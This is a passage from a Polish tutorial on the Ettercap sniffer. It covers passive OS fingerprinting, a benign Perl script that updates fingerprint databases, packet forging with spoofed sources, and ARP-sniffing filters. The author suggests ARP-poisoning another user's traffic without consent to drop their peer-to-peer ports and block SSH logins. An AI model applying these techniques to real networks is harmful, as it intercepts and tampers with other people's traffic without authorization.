stara sie okreslic rodzaje systemow jakie w niej wystepuja. Program musi "widziec" ruch, stad wynikaja ograniczenia tej techniki. Ettercap umozliwia wykorzsytanie pasywnej identyfikacji. Wystarczy ze nacisniemy "O" w glownym menu i program automatycznie zaczyna analizowac ruch. Wypisuje on wszystkie maszyny miedzy ktorymi dochodzi do komunikacji (z perspektywy sieci lokalnej do ktorej jestemy podlaczeni). Dodatkowo mozemy wybrac maszyne i enterem wyswietlic szczegoly jakie udalo sie o niej zebrac. Tymi szczegolami beda adres MAC karty (tylko maszyny w sieci lokalnej), odcisk palca systemu, jezeli zostal on zidentyfikowany, producent karty sieciowej, oraz dystans w HOP'ach, a takze, otwarte porty. Technika ta jest bardzo przydatna, gdy wpinamy sie do jakiejs sieci lokalnej i chcemy zebrac o niej jak najwiecej informacji w jak najcichszy sposob. Odradzam tego typu dzialanie, gdy interesuje nas konkretna maszyna (w takich przypadkach lepiej sprawdza sie nmap, lub wybieramy aktywny detekcje klawiszem (F) w glownym menu). Na koniec trzeba dodac, ze wersja v0.6.b jest juz dosc stara i bardzo czesto myli sie w identyfikacji, tak wiec trzeba podchodzi do wynikow jego pracy z dystansem. Napisalem skrypt w perlu, ktory sciaga najnowsze bazy odciskow (ale mimo to nie zauwazylem zanacznej poprawy w dzialaniu).

-- etter_updater.pl --

#!/usr/bin/perl
#Prosty skrypt uaktualniajacy baze fingerprintow systemow ettercapa
#Uaktualnienia:
#dla metody pasywnej: sciagniecie z nowej wersji v7.0rc1
#dla numerow mac: sciagniecie z nowej wersji v7.0rc1
#dla metody aktywej: przegrywa baze z lokalnej wersji nmapa (jezeli takowy jest zainstalowany)

use warnings;
use strict;

my $nmap_prefix="/usr/share";
my $etter_prefix="/usr/share";
my $user=`whoami`;
chomp($user);

if ( $user ne "root" )
{
print "[-] Only root can execute this script properly\n";
exit 1;
}

print "####################################\n";
print " Ettercap v0.6.b fingerprints updating script\n";
print"####################################\n\n"


#Uaktualnienie bazy odciskow dla pasywnej identyfikacji systemu

print "[~] Updating ettercap passive fingerprints data base\n";
if ( -e "$etter_prefix/ettercap/etter.passive.os.fp")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/etter.passive.os.fp $etter_prefix/ettercap/etter.passive.os.fp_old");
print "[~] Starting download latest version: ";
system("wget -q \'http://cvs.sourceforge.net/viewcvs.py/ettercap/

ettercap_ng/share/etter.finger.os?rev=HEAD&content-type=text/plain\' -O $etter_prefix/ettercap/etter.passive.os.fp");
if ( $? eq 0 )
{
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/etter.passive.os.fp_old $etter_prefix/ettercap/etter.passive.os.fp");
}
}
else
{
print "[-] Can't find local passive fingerprints data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}

#Uaktualnienie bazy numerow kart mac

print "[~] Updating ettercap mac numbers data base\n";
if ( -e "$etter_prefix/ettercap/mac-fingerprints")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/mac-fingerprints $etter_prefix/ettercap/mac-fingerprints_old");
print "[~] Starting download latest version: ";
system("wget -q \'http://cvs.sourceforge.net/viewcvs.py/ettercap/

ettercap_ng/share/etter.finger.mac?rev=HEAD&content-type=text/plain\' -O $etter_prefix/ettercap/mac-fingerprints");
if ( $? eq 0 )
{
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/mac-fingerprints_old $etter_prefix/ettercap/mac-fingerprints");
}
}
else
{
print "[-] Can't find local mac numbers data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}

#Uaktualnianie bazy odciskow dla aktywnej identyfikacji systemow

print "[~] Updating ettercap active fingerprints data base\n";
if ( -e "$etter_prefix/ettercap/nmap-os-fingerprints")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/nmap-os-fingerprints $etter_prefix/ettercap/nmap-os-fingerprints_old");
print "[+] Trying to find nmap data base: ";
if ( -e "$nmap_prefix/nmap/nmap-os-fingerprints")
{
print "[ OK ]\n";
print "[~] Starting rewrite: ";
open INPUT, "<$nmap_prefix/nmap/nmap-os-fingerprints";
open OUTPUT, ">$etter_prefix/ettercap/nmap-os-fingerprints";
my $line;
while ($line=<INPUT>)
{
print OUTPUT "$line" if ( $line !~ /^Class/ );
}
close INPUT;
close OUTPUT;
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/nmap-os-fingerprints_old $etter_prefix/ettercap/nmap-os-fingerprints");
}
}
else
{
print "[-] Can't find local passive fingerprints data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}

-- etter_updater.pl --

##################
# 6. PACKET FORGE

Czym to wlasciwie jest? Dodatek do ettercapa pozwalajacy na dowolne tworzenie pakietow (tak jak w hping'u). Mamy do niego dostep z menu glownego oraz z ekranu sniffowania, przez nacisniecie klawisza (X). Mozemy praktycznie dowolnie ustawiac wszystkie dane naglowka pakietu poczawszy od MAC adresu kart sieciowych, rodzaju protokolu, czasu zycia, numeru portow, a skonczywszy na danych jakie ma zawierac ten pakiet. Oczywiscie dane o zrodle pakietu nie musza byc prawdziwe i mozemy wyslac go tak jak bysmy byli inna maszyna. Dzieki tym funkcjom mozemy szczegolowo sprawdzac konfiguracje firewall'a, dostajemy takze narzedzie dzieki, ktoremu w latwy sposob mozemy generowac pakiety, ktore moga przepelniac bufory roznych uslug.

############
# 7. FILTRY

Ettercap oferuje rowniez mozliwosc filtrowania pakietow. Podczas sniffingu ARP, mozemy wywolac okno filtrow (klawiszem (F)). Filtry sa prostym zbiorem regulek, przez ktore bedzie przeprowadzany kazdy pakiet, ktory przechwyci ettercap. Filtr moze sprawdzac protokol, porty, oraz zawartosc pakietow, jezeli przypozadkujemy ktorejs z tych wartosci 0 lub NULL, warunek dla tej wartosci bedzie zawsze spelniony. Dostepnymi akcjami, ktore beda podejmowane, gdy pakiet spelni wszystkie warunki danej regoly, sa DROP, REPLACE, LOG (odrzuc, zamien, zapisz). Oprocz tego mozemy tworzyc cale ciagi regul, dzieki polom "Goto if match" oraz "Goto if doesn't match". Wartosci pol okreslaja numer reguly, do ktorej filtr bedzie skakal, gdy zostanie przeprowadzony rachunek logiczny.
Posluze sie przykladem, aby pokazac zastosowanie dla tej funkcji. Bardzo czesto zdarza sie, ze ktorys w uzytkownikow w sieci lokalnej odkrywa magie p2p net'u, dzieki czemu skutecznie utrudnia on komunikacje innym komputerom. Mozemy skontaktowac sie z administratorem sieci, ale rownie czesto takie proby koncza sie tak samo jak prosba do niesfornego uzytkownika o wlaczenie ograniczen (brak odpowiedzi lub "nie wiem jak to zrobic"). Wtedy mozemy uzyc ettercapa, nie jest to rozwiazanie ostateczne, ale na ogol wystarcza. Przykladowa siecia p2p, ktora opisze bedzie edonkey2000. Wiem, ze na ogol komunikacja standardowa (pomiedzy zwyklymi, dwoma maszynami) odbywa sie na portach 4662, 4664, rozne serwery maja pootwierane rozne porty, ale po krotkim sledztwie stwierdzilem, ze te wieksze maja pootwierane porty 4661, 4242. Posiadajac ta wiedze, wchodzimy do ettercapa, ustawiamy ARP sniffing, pomiedzy komputerem "delikwenta", a gatewayem. Wchodzimy do menu filtrow, wybieramy filtr dotyczace (i tu zalezy od tego jaki kierunek sniffingu wybralismy, ja przyjmuje ze zrodlem jest "delikwent"), wchodzimy do edycji regul zrodla (W), kasujemy wszystkie standardowe klawiszem (D) i tworzymy po kolei nastepujace wyrazenie logiczne:
(dla tych ktorzy znaja skladnie regul tcpdumpa, ci ktorzy nie znaja, powinni sie zapoznac z manualem do tego programu)
((src port 4662) or (dst port 4662) or (dst port 4242) or (dst port 4661))
pakiety spelniajace ten warunek powinny byc odrzucane (DROP'owane). Tworzymy nastepujace reguly (aby dodac nowa (A)):
0. Protocol: TCP; Source port : 4221; Action: Drop; Goto if doesn't match : 1
1. Protocol: TCP; Dest port : 4662; Action: Drop; Goto if doesn't match : 2
2. Protocol: TCP; Dest port : 4242; Action: Drop; Goto if doesn't match : 3
3. Protocol: TCP; Dest port : 4661; Action: Drop;
i gotowe koles juz nie powinien przeciazac tak sieci. Wazne jest, aby ettercap mial wlaczone caly czas ten zestaw regul, klawisz (S) powinien je aktywowac. Akcje mozemy takze laczyc, na przyklad mozemy zablokowac dany pakiet i zapisac go w logu.
0. Protocol: TCP; Dest port : 22; Search : root; Action: Log; Goto if match : 1;
1. Protocol: TCP; Dest port : 22; Search : root; Action: Drop;
Powyzsze dwie reguly przeszukuja pakiet pod katem slowa kluczowego "root", gdy znajda zapisuja zaistnialy fakt do pliku, oraz odrzucaja pakiet, uniemozliwiajac w tym przypadku poprawne logowanie.

#################
# 8. ZAKONCZENIE

W tym artcie opisalem tylko mozliwosc uzycia trybu interaktywnego. Troche bardziej zaawansowanym uzytkownikom polecam przeczytanie manuala, w ktorym jest opisany tryb nieinteraktywny. Ma on pare zalet miedzy innymi pozwala na ARP sniffingu paru komputerow na raz.


To tyle z tego rozdziau zapraszam do 4 z ktrego dowiemy si o budowie i kompilacji moduu jdra, obsudze moduw przez jdro, wywoaniach systemowe, rejestrach, funkcjach obsugi, sys_call_table, podmiana funkcji z sys_call_table, ukrywanie procesw przy uyciu moduu jdra.


Jest to trzeci rozdzia kursu pochodzcy ze strony http://7d.cba.pl

Ocencie to.